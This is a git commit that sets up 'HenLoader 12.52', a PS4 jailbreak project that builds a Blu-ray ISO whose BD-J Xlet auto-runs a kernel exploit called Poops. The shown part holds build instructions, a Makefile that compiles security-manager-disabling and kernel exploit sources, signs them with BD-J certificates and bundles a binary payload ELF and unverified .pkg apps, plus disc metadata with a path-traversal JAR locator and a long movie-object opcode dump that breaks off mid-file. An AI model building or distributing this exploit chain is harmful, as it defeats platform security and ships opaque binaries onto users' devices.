commit d6615910db8bc0b0776b80a73452480d864f2084 Author: niklascfw Date: Wed Nov 26 14:58:28 2025 +0100 Initial commit: HenLoader 12.52 with auto-executing Poops exploit diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..8cb425a --- /dev/null +++ b/.gitignore @@ -0,0 +1,22 @@ +# Build artifacts +build/ +*.iso +*.jar + +# JDK packages (too large for git) +thirdparty/*.tar.gz + +# IDE files +.vscode/ +.idea/ +*.swp +*.swo +*~ + +# OS files +.DS_Store +Thumbs.db + +# Temporary files +*.tmp +*.log diff --git a/BUILD_INSTRUCTIONS.md b/BUILD_INSTRUCTIONS.md new file mode 100644 index 0000000..95fce6b --- /dev/null +++ b/BUILD_INSTRUCTIONS.md @@ -0,0 +1,57 @@ +# Building HenLoader on Debian + +## Prerequisites + +Install the required build tools and libraries: + +```bash +sudo apt update +sudo apt install -y build-essential make pkg-config libbsd-dev +``` + +## JDK Packages + +The Makefile expects JDK 8 and JDK 11 packages in the `thirdparty/` directory with specific filenames. +The exact versions specified in the Makefile may not be available, but compatible versions can be downloaded and renamed. + +### For x86_64 (amd64): +The packages should be named: +- `OpenJDK8U-jdk_x64_linux_hotspot_8u462b08.tar.gz` +- `OpenJDK11U-jdk_x64_linux_hotspot_11.0.28_6.tar.gz` + +You can download compatible versions and rename them, or use these commands: + +```bash +cd thirdparty +wget -O OpenJDK8U-jdk_x64_linux_hotspot_8u462b08.tar.gz \ + "https://github.com/adoptium/temurin8-binaries/releases/download/jdk8u472-b08/OpenJDK8U-jdk_x64_linux_hotspot_8u472b08.tar.gz" +wget -O OpenJDK11U-jdk_x64_linux_hotspot_11.0.28_6.tar.gz \ + "https://github.com/adoptium/temurin11-binaries/releases/download/jdk-11.0.29%2B7/OpenJDK11U-jdk_x64_linux_hotspot_11.0.29_7.tar.gz" +``` + +### For aarch64 (ARM64): +Similar approach - download compatible versions and rename to match the Makefile's expected filenames. + +## Building + +Simply run: + +```bash +make +``` + +This will: +1. Extract JDK 8 from the tarball +2. Build the makefs tool +3. Compile the Java sources +4. Sign the JAR files +5. Assemble the Blu-ray disc structure +6. Create the final ISO: `build/henloader.iso` + +## Cleaning + +To clean build artifacts: + +```bash +make clean +``` diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..b641ea8 --- /dev/null +++ b/Makefile @@ -0,0 +1,156 @@ +# Makefile cheat sheet: +# https://www.gnu.org/software/make/manual/html_node/Automatic-Variables.html + +all: build/henloader.iso + +# Known-good JDK packages for Linux +# Source: https://github.com/adoptium/temurin8-binaries/releases + +ARCH := $(shell uname -m) +ifeq ($(ARCH),aarch64) + JDK8_PACKAGE := thirdparty/OpenJDK8U-jdk_aarch64_linux_hotspot_8u462b08.tar.gz + JDK11_PACKAGE := thirdparty/OpenJDK11U-jdk_aarch64_linux_hotspot_11.0.28_6.tar.gz +else ifeq ($(ARCH),x86_64) + JDK8_PACKAGE := thirdparty/OpenJDK8U-jdk_x64_linux_hotspot_8u462b08.tar.gz + JDK11_PACKAGE := thirdparty/OpenJDK11U-jdk_x64_linux_hotspot_11.0.28_6.tar.gz +else + $(error Unknown ARCH "$(ARCH)") +endif + +# JDK8 is required for almost every part of the process + +JDK8 := build/jdk8 +JAVA8 := $(JDK8)/bin/java +$(JAVA8): + mkdir -p $(JDK8) + tar -xf $(JDK8_PACKAGE) -C $(JDK8) --strip-components=1 + +# A Linux port of NetBSD makefs is used to create the final UDF-format ISO image + +MAKEFS := build/makefs +MAKEFS_SOURCES := $(wildcard thirdparty/makefs/* thirdparty/makefs/udf/*) +$(MAKEFS): $(MAKEFS_SOURCES) + $(MAKE) -C thirdparty/makefs + mkdir -p $(dir $(MAKEFS)) + mv thirdparty/makefs/makefs $(MAKEFS) + +# BD-J JAR files need to be signed with BDSigner + +BDTOOLS := thirdparty/bd-tools +SECCPATH := $(BDTOOLS)/security.jar:$(BDTOOLS)/bcprov-jdk15-137.jar:$(BDTOOLS)/jdktools.jar +KEYSTORE := thirdparty/bd-certificates/keystore.store +BDSIGNER := $(JAVA8) -cp $(SECCPATH) net.java.bd.tools.security.BDSigner -keystore $(KEYSTORE) + +# InitXlet is the initial Xlet that the PS4 loads. It always lives on the Blu-ray disc. + +CPATH := thirdparty/bd-stubs/interactive.zip:thirdparty/topsecret/rt.jar:thirdparty/topsecret/bdjstack.jar:src +JFLAGS := -Xlint:all -Xlint:-static -Xlint:-serial -Xlint:-options -source 1.3 -target 1.3 + +LOADER_DSTDIR := build/henloader +LOADER_BD_PERM := org/bdj/bluray.InitXlet.perm +LOADER_SOURCES += org/bdj/sandbox/DisableSecurityManagerAction.java +LOADER_SOURCES += org/bdj/external/BinLoader.java +LOADER_SOURCES += org/bdj/external/Helper.java +LOADER_SOURCES += org/bdj/external/Kernel.java +LOADER_SOURCES += org/bdj/external/KernelOffset.java +LOADER_SOURCES += org/bdj/external/Poops.java +LOADER_SOURCES += org/bdj/InitXlet.java +LOADER_SOURCES += org/bdj/MessagesOutputStream.java +LOADER_SOURCES += org/bdj/Screen.java + +build/henloader.jar: $(JAVA8) $(addprefix src/,$(LOADER_SOURCES)) src/$(LOADER_BD_PERM) + mkdir -p $(LOADER_DSTDIR) + mkdir -p $(LOADER_DSTDIR)/$(dir $(LOADER_BD_PERM)) + cp src/$(LOADER_BD_PERM) $(LOADER_DSTDIR)/$(LOADER_BD_PERM) + mkdir -p $(LOADER_DSTDIR)/org/homebrew/ + $(JDK8)/bin/javac -d $(LOADER_DSTDIR) -sourcepath src $(JFLAGS) -cp $(CPATH) $(addprefix src/,$(LOADER_SOURCES)) + $(JDK8)/bin/jar cf $@ -C $(LOADER_DSTDIR) . + $(BDSIGNER) $@ + -rm META-INF/SIG-BD00.RSA + -rm META-INF/SIG-BD00.SF + -rmdir META-INF + +# Assemble the Blu-ray disc + +DISC := build/disc +BD_JO := $(DISC)/BDMV/BDJO/00000.bdjo +BD_JAR := $(DISC)/BDMV/JAR/00000.jar +BD_FONT := $(DISC)/BDMV/AUXDATA/00000.otf +BD_FNTIDX := $(DISC)/BDMV/AUXDATA/dvb.fontindex +BD_HEN := $(DISC)/BDMV/AUXDATA/aiofix_USBpayload.elf +BD_META := $(DISC)/BDMV/META/DL/bdmt_eng.xml +BD_BANNER := $(DISC)/BDMV/META/DL/logo.jpg +BD_INDEX := $(DISC)/BDMV/index.bdmv +BD_MVOBJ := $(DISC)/BDMV/MovieObject.bdmv +BD_ID := $(DISC)/CERTIFICATE/id.bdmv +BD_ACRT := $(DISC)/CERTIFICATE/app.discroot.crt +BD_BCRT := $(DISC)/CERTIFICATE/bu.discroot.crt + +# PKG files to include at root of BD +PKG_FILES := $(wildcard apps/*.pkg) +BD_PKGS := $(patsubst apps/%,$(DISC)/%,$(PKG_FILES)) + +BD_ALL := $(BD_JO) $(BD_JAR) $(BD_FONT) $(BD_FNTIDX) $(BD_META) $(BD_BANNER) \ + $(BD_INDEX) $(BD_MVOBJ) $(BD_ID) $(BD_ACRT) $(BD_BCRT) $(BD_HEN) $(BD_PKGS) + +# Create directories +$(DISC): $(sort $(dir $(BD_ALL))) +$(sort $(dir $(BD_ALL))): + mkdir -p $(dir $(BD_ALL)) + +# bdjo.xml/00000.bdjo tells the Blu-ray player which Xlet subclass to load +$(BD_JO): bd-metadata/bdjo.xml $(DISC) $(JAVA8) + $(JAVA8) -jar thirdparty/bd-tools/bdjo.jar $< $@ + +# Signed JAR containing the HenLoader Xlet +$(BD_JAR): build/henloader.jar $(DISC) + cp $< $@ + +# There needs to be at least one font file on the disc, if I understand correctly +$(BD_FONT): bd-metadata/OpenSans-Regular.otf $(DISC) + cp $< $@ +$(BD_FNTIDX): bd-metadata/dvb.fontindex $(DISC) + cp $< $@ +$(BD_HEN): bd-metadata/aiofix_USBpayload.elf $(DISC) + cp $< $@ + +# Metadata about the disc, including user-visible name and banner +$(BD_META): bd-metadata/bdmt_eng.xml $(DISC) + cp $< $@ +$(BD_BANNER): bd-metadata/logo.jpg $(DISC) + cp $< $@ + +# Blu-ray index that points the player towards MovieObject +$(BD_INDEX): bd-metadata/index.xml $(DISC) $(JAVA8) + $(JAVA8) -jar thirdparty/bd-tools/index.jar $< $@ + +# Blu-ray movie object that somehow tells the player to run the BD-J xlet? Extremely cursed +$(BD_MVOBJ): bd-metadata/movieobject.xml $(DISC) $(JAVA8) + $(JAVA8) -jar thirdparty/bd-tools/movieobject.jar $< $@ + +# Just an orgId really, needs to match bdjo and perm +$(BD_ID): bd-metadata/id.xml $(DISC) $(JAVA8) + $(JAVA8) -jar thirdparty/bd-tools/id.jar $< $@ + +# Certificates are taken from BDJ-SDK, need to match the keystore +$(BD_ACRT): thirdparty/bd-certificates/app.discroot.crt $(DISC) + cp $< $@ +$(BD_BCRT): thirdparty/bd-certificates/bu.discroot.crt $(DISC) + cp $< $@ + +# Copy PKG files to root of BD +$(BD_PKGS): $(DISC)/%.pkg: apps/%.pkg $(DISC) + cp $< $@ + +# Generate the final ISO containing HenLoader + +DISC_LABEL := NiklasCFW PS4 Jailbreak 12.52 + +build/henloader.iso: $(MAKEFS) $(BD_ALL) + $(MAKEFS) -m 256m -t udf -o "T=bdre,v=2.50,L=$(DISC_LABEL)" $@ $(DISC) + +# Cleaning just means deleting the build directory + +.PHONY: clean +clean: + rm -r build diff --git a/apps/PS4_APOL00004_v2.2.0.pkg b/apps/PS4_APOL00004_v2.2.0.pkg new file mode 100755 index 0000000..583d66d Binary files /dev/null and b/apps/PS4_APOL00004_v2.2.0.pkg differ diff --git a/apps/PS4_AZIF00003_v0.98.pkg b/apps/PS4_AZIF00003_v0.98.pkg new file mode 100755 index 0000000..3d5953e Binary files /dev/null and b/apps/PS4_AZIF00003_v0.98.pkg differ diff --git a/apps/PS4_CHTM00777_v1.2.2.pkg b/apps/PS4_CHTM00777_v1.2.2.pkg new file mode 100755 index 0000000..5ddba89 Binary files /dev/null and b/apps/PS4_CHTM00777_v1.2.2.pkg differ diff --git a/apps/PS4_ITEM00001_v1.07.pkg b/apps/PS4_ITEM00001_v1.07.pkg new file mode 100755 index 0000000..5375091 Binary files /dev/null and b/apps/PS4_ITEM00001_v1.07.pkg differ diff --git a/apps/PS4_LAPY20009_v2.05.pkg b/apps/PS4_LAPY20009_v2.05.pkg new file mode 100755 index 0000000..4371735 Binary files /dev/null and b/apps/PS4_LAPY20009_v2.05.pkg differ diff --git a/apps/Store-R2.pkg b/apps/Store-R2.pkg new file mode 100755 index 0000000..e60122b Binary files /dev/null and b/apps/Store-R2.pkg differ diff --git a/bd-metadata/OpenSans-Regular.otf b/bd-metadata/OpenSans-Regular.otf new file mode 100644 index 0000000..1884932 Binary files /dev/null and b/bd-metadata/OpenSans-Regular.otf differ diff --git a/bd-metadata/aiofix_USBpayload.elf b/bd-metadata/aiofix_USBpayload.elf new file mode 100644 index 0000000..005c0ef Binary files /dev/null and b/bd-metadata/aiofix_USBpayload.elf differ diff --git a/bd-metadata/bdjo.xml b/bd-metadata/bdjo.xml new file mode 100644 index 0000000..a24067d --- /dev/null +++ b/bd-metadata/bdjo.xml @@ -0,0 +1,47 @@ + + + + + *.* + 00000 + 1 + + + + + + file:///app0/bdjstack/lib/ext/../../../../disc/BDMV/JAR/00000.jar + TITLE_BOUND_DISC_BOUND + + 0x0 + + org.bdj.InitXlet + 128 + + 1 + 0 + 0 + 1 + + V_01 + + 0x4000 + 0x1 + 0x56789abc + 0x1 + + + . + 0xffe00000 + + false + false + + + 00000 + HD_1920_1080 + false + false + + V_0200 + diff --git a/bd-metadata/bdmt_eng.xml b/bd-metadata/bdmt_eng.xml new file mode 100644 index 0000000..2719167 --- /dev/null +++ b/bd-metadata/bdmt_eng.xml @@ -0,0 +1,17 @@ + + + + + PS4 Jailbreak 12.52 + 1 + 1 + + + + PS4 Jailbreak 12.52 + + + + eng + + diff --git a/bd-metadata/dvb.fontindex b/bd-metadata/dvb.fontindex new file mode 100644 index 0000000..f1283de --- /dev/null +++ b/bd-metadata/dvb.fontindex @@ -0,0 +1,11 @@ + + + + + OpenSans-Regular + OTF + 00000.otf + + + diff --git a/bd-metadata/id.xml b/bd-metadata/id.xml new file mode 100644 index 0000000..25e7bb1 --- /dev/null +++ b/bd-metadata/id.xml @@ -0,0 +1,6 @@ + + + 0x00000000000000000000000000000001 + 0x56789abc + 0200 + diff --git a/bd-metadata/index.xml b/bd-metadata/index.xml new file mode 100644 index 0000000..8ccffe2 --- /dev/null +++ b/bd-metadata/index.xml @@ -0,0 +1,37 @@ + + + + IGNORED + Mode2D + false + IGNORED + + + + + + 0x0 + HDMVPlayback_MOVIE + + + + + 0x1 + HDMVPlayback_INTERACTIVE + + + + + <indexObject xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="BDJIndexObject"> + <BDJOName>00000</BDJOName> + <playbackType>BDJPlayback_INTERACTIVE</playbackType> + </indexObject> + <titleAccessType>V_00</titleAccessType> + + + + 0 + 0 + 0 + 0100 + diff --git a/bd-metadata/logo.jpg b/bd-metadata/logo.jpg new file mode 100755 index 0000000..e104cef Binary files /dev/null and b/bd-metadata/logo.jpg differ diff --git a/bd-metadata/movieobject.xml b/bd-metadata/movieobject.xml new file mode 100644 index 0000000..0330fa3 --- /dev/null +++ b/bd-metadata/movieobject.xml @@ -0,0 +1,1859 @@ + + + 0200 + + + + 48400200 80000004 0000FFFF + + + 20810000 00000003 00000000 + + + 20810000 000000C1 00000000 + + + 50400001 00000FEC 00000000 + + + 50000001 00000B8C 00000FEC + + + 50400001 00000FEC 00000000 + + + 50000001 00000B8D 00000FEC + + + 50400001 00000FEC 00000000 + + + 50000001 00000B8E 00000FEC + + + 50400001 00000FEC 00000000 + + + 50000001 00000B8F 00000FEC + + + 50400001 00000FEC 00000000 + + + 50000001 00000B90 00000FEC + + + 50400001 00000FEC FFFFFFFF + + + 50000001 00000B91 00000FEC + + + 50400001 00000FEC FFFFFFFF + + + 50000001 00000B92 00000FEC + + + 50400001 00000FEC 00000000 + + + 50000001 00000B93 00000FEC + + + 50400001 00000FEC FFFFFFFF + + + 50000001 00000B94 00000FEC + + + 50400001 00000FEC FFFFFFFF + + + 50000001 00000B95 00000FEC + + + 50400001 00000FEC FFFFFFFF + + + 50000001 00000B96 00000FEC + + + 50400001 00000FEC FFFFFFFF + + + 50000001 00000B97 00000FEC + + + 50400001 00000FEC FFFFFFFF + + + 50000001 00000B98 00000FEC + + + 50400001 00000FEC FFFFFFFF + + + 50000001 00000B99 00000FEC + + + 50400001 00000FEC 00000000 + + + 48400500 00000FEC 00000000 + + + 20810000 00000023 00000000 + + + 20810000 00000025 00000000 + + + 5040000C 00000B9A 00000000 + + + 20810000 00000026 00000000 + + + 5040000D 00000B9A 00000000 + + + 50400001 00000FEC FFFFFFFF + + + 48400500 00000FEC 00000000 + + + 20810000 0000002A 00000000 + + + 20810000 0000002C 00000000 + + + 5040000C 00000B9B 00000000 + + + 20810000 0000002D 00000000 + + + 5040000D 00000B9B 00000000 + + + 50400001 00000FEC FFFFFFFF + + + 48400500 00000FEC 00000000 + + + 20810000 00000031 00000000 + + + 20810000 00000033 00000000 + + + 5040000C 00000B9C 00000000 + + + 20810000 00000034 00000000 + + + 5040000D 00000B9C 00000000 + + + 50400001 00000FEC FFFFFFFF + + + 48400500 00000FEC 00000000 + + + 20810000 00000038 00000000 + + + 20810000 0000003A 00000000 + + + 5040000C 00000B9D 00000000 + + + 20810000 0000003B 00000000 + + + 5040000D 00000B9D 00000000 + + + 50400001 00000FEC FFFFFFFF + + + 50000001 00000B9E 00000FEC + + + 50400001 00000FEC FFFFFFFF + + + 50000001 00000B9F 00000FEC + + + 50400001 00000FEC 00000000 + + + 48400500 00000FEC 00000000 + + + 20810000 00000043 00000000 + + + 20810000 00000045 00000000 + + + 5040000C 00000BA0 00000000 + + + 20810000 00000046 00000000 + + + 5040000D 00000BA0 00000000 + + + 50400001 00000FEC 00000000 + + + 48400500 00000FEC 00000000 + + + 20810000 0000004A 00000000 + + + 20810000 0000004C 00000000 + + + 5040000C 00000BA1 00000000 + + + 20810000 0000004D 00000000 + + + 5040000D 00000BA1 00000000 + + + 50400001 00000FEC 00000000 + + + 48400500 00000FEC 00000000 + + + 20810000 00000051 00000000 + + + 20810000 00000053 00000000 + + + 5040000C 00000BA2 00000000 + + + 20810000 00000054 00000000 + + + 5040000D 00000BA2 00000000 + + + 50400001 00000FEC 00000000 + + + 48400500 00000FEC 00000000 + + + 20810000 00000058 00000000 + + + 20810000 0000005A 00000000 + + + 5040000C 00000BA3 00000000 + + + 20810000 0000005B 00000000 + + + 5040000D 00000BA3 00000000 + + + 50400001 00000FEC 00000000 + + + 48400500 00000FEC 00000000 + + + 20810000 0000005F 00000000 + + + 20810000 00000061 00000000 + + + 5040000C 00000BA4 00000000 + + + 20810000 00000062 00000000 + + + 5040000D 00000BA4 00000000 + + + 50400001 00000FEC 00000000 + + + 48400500 00000FEC 00000000 + + + 20810000 00000066 00000000 + + + 20810000 00000068 00000000 + + + 5040000C 00000BA5 00000000 + + + 20810000 00000069 00000000 + + + 5040000D 00000BA5 00000000 + + + 50400001 00000FEC 00000000 + + + 50400009 00000BA6 FFFFFF00 + + + 50400001 00000FED 000000FF + + + 50000009 00000FED 00000FEC + + + 5040000E 00000FED 00000000 + + + 5000000A 00000BA6 00000FED + + + 50400001 00000FEC 0000000F + + + 50400009 00000BA7 FFFFFF00 + + + 50400001 00000FED 000000FF + + + 50000009 00000FED 00000FEC + + + 5040000E 00000FED 00000000 + + + 5000000A 00000BA7 00000FED + + + 50400001 00000FEC 00000000 + + + 50400009 00000BA8 FFFFFF00 + + + 50400001 00000FED 000000FF + + + 50000009 00000FED 00000FEC + + + 5040000E 00000FED 00000000 + + + 5000000A 00000BA8 00000FED + + + 50400001 00000FEC 0000000F + + + 50400009 00000BA9 FFFFFF00 + + + 50400001 00000FED 000000FF + + + 50000009 00000FED 00000FEC + + + 5040000E 00000FED 00000000 + + + 5000000A 00000BA9 00000FED + + + 50400001 00000FEC 00000000 + + + 48400500 00000FEC 00000000 + + + 20810000 00000085 00000000 + + + 20810000 00000087 00000000 + + + 5040000C 00000BAA 00000000 + + + 20810000 00000088 00000000 + + + 5040000D 00000BAA 00000000 + + + 50400001 00000FEC 00000000 + + + 50000001 00000BAB 00000FEC + + + 50400001 00000FEC 00000000 + + + 50000001 00000BAC 00000FEC + + + 50400001 00000FEC 00000000 + + + 50000001 00000BAD 00000FEC + + + 50400001 00000FEC 00000000 + + + 50400009 00000BAE FFFF0000 + + + 50400001 00000FED 0000FFFF + + + 50000009 00000FED 00000FEC + + + 5040000E 00000FED 00000000 + + + 5000000A 00000BAE 00000FED + + + 50400001 00000FEC 00000000 + + + 48400500 00000FEC 00000000 + + + 20810000 00000098 00000000 + + + 20810000 0000009A 00000000 + + + 5040000C 00000BAF 00000000 + + + 20810000 0000009B 00000000 + + + 5040000D 00000BAF 00000000 + + + 50400001 00000FEC 00000000 + + + 50000001 00000BB0 00000FEC + + + 50400001 00000FEC 00000000 + + + 50000001 00000BB1 00000FEC + + + 50400001 00000FEC 00000000 + + + 50000001 00000BB2 00000FEC + + + 50400001 00000FEC 00000000 + + + 50000001 00000BB3 00000FEC + + + 50400001 00000FEC 00000000 + + + 50000001 00000BB4 00000FEC + + + 50400001 00000FEC 00000000 + + + 50000001 00000BB5 00000FEC + + + 50400001 00000FEC 00000000 + + + 50000001 00000BB6 00000FEC + + + 50400001 00000FEC 00000000 + + + 50000001 00000BB7 00000FEC + + + 50400001 00000FEC 00000000 + + + 50000001 00000BB8 00000FEC + + + 50400001 00000FEC 00000000 + + + 50000001 00000BB9 00000FEC + + + 50400001 00000FEC 00000000 + + + 50000001 00000BBA 00000FEC + + + 50400001 00000FEC 00000001 + + + 48400500 00000FEC 00000000 + + + 20810000 000000B5 00000000 + + + 20810000 000000B7 00000000 + + + 5040000C 00000BBB 00000000 + + + 20810000 000000B8 00000000 + + + 5040000D 00000BBB 00000000 + + + 50400001 00000FEC 00000000 + + + 48400500 00000FEC 00000000 + + + 20810000 000000BC 00000000 + + + 20810000 000000BE 00000000 + + + 5040000C 00000BBB 00000001 + + + 20810000 000000BF 00000000 + + + 5040000D 00000BBB 00000001 + + + 50400001 00000FEC FFFFFFFF + + + 50000001 00000BBC 00000FEC + + + 00000000 00000000 00000000 + + + 50400001 00000FEC 00000002 + + + 50000009 00000FEC 00000BBB + + + 5040000F 00000FEC 00000001 + + + 48400500 00000FEC 00000000 + + + 20810000 000000C8 00000000 + + + 20810000 000000CA 00000000 + + + 5040000C 00000BA5 00000000 + + + 20810000 000000CB 00000000 + + + 5040000D 00000BA5 00000000 + + + 50400001 00000FEC 00000001 + + + 50000009 00000FEC 00000BAA + + + 5040000F 00000FEC 00000000 + + + 50400001 00000FED 00000001 + + + 50000009 00000FED 00000BBB + + + 5040000F 00000FED 00000000 + + + 48000200 00000FEC 00000FED + + + 20810000 000000D4 00000000 + + + 20810000 00000123 00000000 + + + 50400001 00000FEC 00000002 + + + 50000009 00000FEC 00000BBB + + + 5040000F 00000FEC 00000001 + + + 48400500 00000FEC 00000000 + + + 20810000 000000DA 00000000 + + + 20810000 000000DC 00000000 + + + 5040000C 00000BAA 00000000 + + + 20810000 000000DD 00000000 + + + 5040000D 00000BAA 00000000 + + + 50400001 00000FEC 000000FF + + + 50000001 00000FED 80000000 + + + 50000009 00000FED 00000FEC + + + 50000001 00000BAB 00000FED + + + 50400001 00000FEC 000000FF + + + 50000001 00000FED 80000001 + + + 50000009 00000FED 00000FEC + + + 50000001 00000BAC 00000FED + + + 50000001 00000FEC 80000002 + + + 50000001 00000BAD 00000FEC + + + 50400001 00000FEC 00000FFF + + + 50400001 00000FED 0000FFFF + + + 50000009 00000FED 80000002 + + + 5040000F 00000FED 00000000 + + + 50000009 00000FED 00000FEC + + + 50400009 00000BAE FFFF0000 + + + 50400001 00000FEC 0000FFFF + + + 50000009 00000FEC 00000FED + + + 5040000E 00000FEC 00000000 + + + 5000000A 00000BAE 00000FEC + + + 50400001 00000FEC 80000000 + + + 50000009 00000FEC 80000002 + + + 5040000F 00000FEC 0000001F + + + 48400500 00000FEC 00000000 + + + 20810000 000000F7 00000000 + + + 20810000 000000F9 00000000 + + + 5040000C 00000BAF 00000000 + + + 20810000 000000FA 00000000 + + + 5040000D 00000BAF 00000000 + + + 50400001 00000FEC 000000FF + + + 50000001 00000FED 80000003 + + + 50000009 00000FED 00000FEC + + + 50000001 00000BB0 00000FED + + + 50400001 00000FEC 0000FFFF + + + 50000001 00000FED 80000004 + + + 50000009 00000FED 00000FEC + + + 50000001 00000BB1 00000FED + + + 50400001 00000FEC 0000FFFF + + + 50000001 00000FED 80000005 + + + 50000009 00000FED 00000FEC + + + 50000001 00000BB2 00000FED + + + 50400001 00000FEC 0000FFFF + + + 50000001 00000FED 80000006 + + + 50000009 00000FED 00000FEC + + + 50000001 00000BB3 00000FED + + + 50400001 00000FEC 0000FFFF + + + 50000001 00000FED 80000007 + + + 50000009 00000FED 00000FEC + + + 50000001 00000BB4 00000FED + + + 50000001 00000FEC 80000008 + + + 50000001 00000BB5 00000FEC + + + 50400001 00000FEC 0000FFFF + + + 50000001 00000FED 8000000A + + + 50000009 00000FED 00000FEC + + + 50000001 00000BB6 00000FED + + + 50400001 00000FEC 000000FF + + + 50000001 00000FED 8000000B + + + 50000009 00000FED 00000FEC + + + 50000001 00000BB7 00000FED + + + 50000001 00000FEC 8000000E + + + 50000001 00000BB8 00000FEC + + + 50400001 00000FEC 000000FF + + + 50000009 00000FEC 8000000E + + + 5040000F 00000FEC 00000000 + + + 50000001 00000BB9 00000FEC + + + 50400001 00000FEC 0000FF00 + + + 50000009 00000FEC 8000000E + + + 5040000F 00000FEC 00000008 + + + 50000001 00000BBA 00000FEC + + + 20810000 00000123 00000000 + + + 50000001 00000FEC 00000B8C + + + 50400001 00000FED 00000000 + + + 48000200 00000FEC 00000FED + + + 20810000 00000128 00000000 + + + 20810000 0000012A 00000000 + + + 20810000 0000012A 00000000 + + + 20810000 0000012A 00000000 + + + 50400001 00000FEC 00000001 + + + 21010000 00000FEC 00000000 + + + 50400001 00000FEC 00000001 + + + 50000001 00000000 00000FEC + + + 50400001 00000FEC 00000001 + + + 50000009 00000FEC 00000BA5 + + + 5040000F 00000FEC 00000000 + + + 50400001 00000FED 00000001 + + + 50000009 00000FED 00000BBB + + + 5040000F 00000FED 00000000 + + + 48000200 00000FEC 00000FED + + + 20810000 00000137 00000000 + + + 20810000 00000142 00000000 + + + 50400001 00000FEC 00000002 + + + 50000009 00000FEC 00000BBB + + + 5040000F 00000FEC 00000001 + + + 48400500 00000FEC 00000000 + + + 20810000 0000013D 00000000 + + + 20810000 0000013F 00000000 + + + 5040000C 00000BA5 00000000 + + + 20810000 00000140 00000000 + + + 5040000D 00000BA5 00000000 + + + 20810000 00000144 00000000 + + + 20810000 00000142 00000000 + + + 50400001 00000FEC 00000001 + + + 50000001 00000001 00000FEC + + + 00000000 00000000 00000000 + + + 50400001 00000FEC 00000001 + + + 50000001 00000002 00000FEC + + + 20810000 00000148 00000000 + + + 00000000 00000000 00000000 + + + false + true + false + + + + + 50400001 00000FEC 00000002 + + + 50000009 00000FEC 00000BBB + + + 5040000F 00000FEC 00000001 + + + 48400500 00000FEC 00000000 + + + 20810000 00000006 00000000 + + + 20810000 00000008 00000000 + + + 5040000C 00000BA5 00000000 + + + 20810000 00000009 00000000 + + + 5040000D 00000BA5 00000000 + + + 50400001 00000FEC 00000001 + + + 50000009 00000FEC 00000BAA + + + 5040000F 00000FEC 00000000 + + + 50400001 00000FED 00000001 + + + 50000009 00000FED 00000BBB + + + 5040000F 00000FED 00000000 + + + 48000200 00000FEC 00000FED + + + 20810000 00000012 00000000 + + + 20810000 00000061 00000000 + + + 50400001 00000FEC 00000002 + + + 50000009 00000FEC 00000BBB + + + 5040000F 00000FEC 00000001 + + + 48400500 00000FEC 00000000 + + + 20810000 00000018 00000000 + + + 20810000 0000001A 00000000 + + + 5040000C 00000BAA 00000000 + + + 20810000 0000001B 00000000 + + + 5040000D 00000BAA 00000000 + + + 50400001 00000FEC 000000FF + + + 50000001 00000FED 80000000 + + + 50000009 00000FED 00000FEC + + + 50000001 00000BAB 00000FED + + + 50400001 00000FEC 000000FF + + + 50000001 00000FED 80000001 + + + 50000009 00000FED 00000FEC + + + 50000001 00000BAC 00000FED + + + 50000001 00000FEC 80000002 + + + 50000001 00000BAD 00000FEC + + + 50400001 00000FEC 00000FFF + + + 50400001 00000FED 0000FFFF + + + 50000009 00000FED 80000002 + + + 5040000F 00000FED 00000000 + + + 50000009 00000FED 00000FEC + + + 50400009 00000BAE FFFF0000 + + + 50400001 00000FEC 0000FFFF + + + 50000009 00000FEC 00000FED + + + 5040000E 00000FEC 00000000 + + + 5000000A 00000BAE 00000FEC + + + 50400001 00000FEC 80000000 + + + 50000009 00000FEC 80000002 + + + 5040000F 00000FEC 0000001F + + + 48400500 00000FEC 00000000 + + + 20810000 00000035 00000000 + + + 20810000 00000037 00000000 + + + 5040000C 00000BAF 00000000 + + + 20810000 00000038 00000000 + + + 5040000D 00000BAF 00000000 + + + 50400001 00000FEC 000000FF + + + 50000001 00000FED 80000003 + + + 50000009 00000FED 00000FEC + + + 50000001 00000BB0 00000FED + + + 50400001 00000FEC 0000FFFF + + + 50000001 00000FED 80000004 + + + 50000009 00000FED 00000FEC + + + 50000001 00000BB1 00000FED + + + 50400001 00000FEC 0000FFFF + + + 50000001 00000FED 80000005 + + + 50000009 00000FED 00000FEC + + + 50000001 00000BB2 00000FED + + + 50400001 00000FEC 0000FFFF + + + 50000001 00000FED 80000006 + + + 50000009 00000FED 00000FEC + + + 50000001 00000BB3 00000FED + + + 50400001 00000FEC 0000FFFF + + + 50000001 00000FED 80000007 + + + 50000009 00000FED 00000FEC + + + 50000001 00000BB4 00000FED + + + 50000001 00000FEC 80000008 + + + 50000001 00000BB5 00000FEC + + + 50400001 00000FEC 0000FFFF + + + 50000001 00000FED 8000000A + + + 50000009 00000FED 00000FEC + + + 50000001 00000BB6 00000FED + + + 50400001 00000FEC 000000FF + + + 50000001 00000FED 8000000B + + + 50000009 00000FED 00000FEC + + + 50000001 00000BB7 00000FED + + + 50000001 00000FEC 8000000E + + + 50000001 00000BB8 00000FEC + + + 50400001 00000FEC 000000FF + + + 50000009 00000FEC 8000000E + + + 5040000F 00000FEC 00000000 + + + 50000001 00000BB9 00000FEC + + + 50400001 00000FEC 0000FF00 + + + 50000009 00000FEC 8000000E + + + 5040000F 00000FEC 00000008 + + + 50000001 00000BBA 00000FEC + + + 20810000 00000061 00000000 + + + 50000001 00000FEC 00000B8C + + + 50400001 00000FED 00000000 + + + 48000200 00000FEC 00000FED + + + 20810000 00000066 00000000 + + + 20810000 00000068 00000000 + + + 20810000 00000084 00000000 + + + 20810000 00000068 00000000 + + + 50000001 00000FEC 00000B8C + + + 50400001 00000FED 00000001 + + + 48000200 00000FEC 00000FED + + + 20810000 0000006D 00000000 + + + 20810000 0000006F 00000000 + + + 20810000 000000A2 00000000 + + + 20810000 0000006F 00000000 + + + 50000001 00000FEC 00000B8C + + + 50400001 00000FED 00000002 + + + 48000200 00000FEC 00000FED + + + 20810000 00000074 00000000 + + + 20810000 00000076 00000000 + + + 20810000 000000C0 00000000 + + + 20810000 00000076 00000000 + + + 50000001 00000FEC 00000B8C + + + 50400001 00000FED 00000003 + + + 48000200 00000FEC 00000FED + + + 20810000 0000007B 00000000 + + + 20810000 0000007D 00000000 + + + 20810000 000000DE 00000000 + + + 20810000 0000007D 00000000 + + + 50000001 00000FEC 00000B8C + + + 50400001 00000FED 00000004 + + + 48000200 00000FEC 00000FED + + + 20810000 00000082 00000000 + + + 20810000 00000084 